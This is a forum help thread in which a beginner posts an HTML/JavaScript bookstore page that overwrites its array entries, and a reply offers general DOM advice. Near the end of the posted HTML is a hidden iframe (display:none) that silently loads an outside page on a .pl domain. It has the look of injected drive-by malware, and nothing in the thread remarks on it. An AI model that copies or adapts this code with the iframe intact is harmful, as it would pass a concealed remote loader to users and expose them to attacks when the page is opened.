please help with this program it outputs and stores the last data added into the array(replaces all other data with the last data that was stored in the array).

<html>
<head>
<script language="javascript">

function Book()
{

this.title="not yet selected";
this.isb=""
this.copies=0;
this.price=0.00;

}










var obj=new Book();

function begining()

{

//alert("the problem start");
var d=new Date()

status=d.getHours()+":"+d.getMinutes();
}

var aray=new Array()



var n=0;
function add()
{


obj.title=document.f1.t.value;
alert(obj.title);
obj.isb=document.f1.i.value
alert(obj.isb);
obj.copies=parseInt(document.f1.c.value);
alert(obj.copies);
obj.price=parseFloat(document.f1.p.value);
alert(obj.price);
aray[aray.length]=obj;

if(n==0)
{
document.f2.sel.length=0;
}

var op=new Option(obj.title,obj.title,false,false);
document.f2.sel.options[document.f2.sel.length]=op;

n++;
}

function clearall()
{
document.f1.t.value="";
document.f1.i.value="";
document.f1.c.value="";
document.f1.p.value="";
}





function Remove()
{
var index=document.f2.sel.selectedIndex;
if(aray[index].copies==0)
{
document.f2.sel.options[index]=null;
}
}

function checkdata()
{
for(var b=0;b<aray.length;b++)
{
 alert(aray[b].title);
alert(aray[b].isb);
alert(aray[b].copies);
alert(aray[b].price);
}
}


</script>
</head>

<body bgcolor="silver" onload="setInterval('begining()',1000)">

<table width="100%" height="100%" border="7" cellspacing="3">
<tr><td>
<h1><i>BOOK STORE</H1></I>
<img src="e.jpg" />

<form name="f1">




TITTLE<input type="text" value="" name="t"/><br>

ISBN#<input type="text" value="" name="i"/><br>

COPIES AVAILABLE<input type="text" value="" name="c"/><br>

SELLING PRICE<input type="text" value="" name="p"/><br>

<input type="button" value=" Add Book" name="ad" onclick="add()" />

<input type="button" value="Clear All" name="oth" onclick="clearall()" />
<br><br>

</form>










</td><td>


<H1>OTHER</H1>

<img src="iron man.jpg" height="70%" />

<form name="f2" >

<select name="sel">

<option value="" >opt1</option>

</select><BR>

<input type="button" value="Remove Book" name="sp"onclick="Remove()" />
<input type="button" value="aSort" name="sp" />
<input type="button" value="elements" name="el" onclick="checkdata()"/>
</form>
</td></tr>
</table>


<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>

To address/create document elements in your intended way, you need to learn Javascript DOM methods, in particular:

document.getElementById();
document.createElement();
element.appendChild();

http://www.w3schools.com is a good place to start.

Airshow

This article has been dead for over six months. Start a new discussion instead.